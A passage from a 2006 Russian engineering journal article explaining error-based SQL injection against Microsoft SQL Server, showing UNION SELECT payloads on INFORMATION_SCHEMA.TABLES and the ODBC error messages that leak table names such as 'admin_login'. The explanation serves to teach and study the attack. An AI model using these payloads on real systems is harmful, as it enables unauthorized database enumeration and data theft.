Теперь мы попробуем объединить целое ‘10’ с другой строкой в
БД:
UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES- -
Системная таблица
INFORMATION_SCHEMA.TABLES
содержит
информацию всех таблиц на сервере БД.
Поле
TABLE_NAME
очевидно содержит имя каждой таблицы в БД.
Она была выбрана, потому что мы знаем, что она всегда существует.
Наш запрос:
SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES- -
Этот запрос возвратит первое имя в БД. Когда объединяется это
строковое значение с числом 10, MS SQL-сервер попытается преобра-
зовать строку
nvarchar
к типу данных
integer
. Это вызовет ошибку,
которая сообщит, что не может преобразовать
nvarchar
к
integer
. Сер-
вер выдаст следующую ошибку:
Microsoft OLE DB Provider for ODBC Drivers error
80040
e
07
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error
converting the nvarchar value
table
1
to a column of data type int./index.asp,
line 5
Сообщение об ошибке содержит информацию о значении, которое
не может быть преобразовано в целое. В этом случае, получаем имя
первой таблицы —
table1
.
Для получения следующего имени таблицы, можно использовать
следующий запрос:
UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT
IN ( table1 )- -
Можно также искать данные, используя ключ
LIKE
:
UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE
%25login%25 - -
Сервер БД выдаст следующее сообщение:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value admin_login to a column of data type int. /index.asp,
line 5
Соответствующая конструкция
%25login%25
будет заменена на
%login%
в MS SQL-сервере. В этом случае, мы получим имя таблицы,
которая соответствует критерию
admin_login
.
Для получения всех имен столбцов можно использовать служеб-
ную таблицу
INFORMATION_SCHEMA.COLUMNS
, чтобы отобразить
78 ISSN 0236-3933. Вестник МГТУ им. Н.Э. Баумана. Сер. “Приборостроение”. 2006. № 3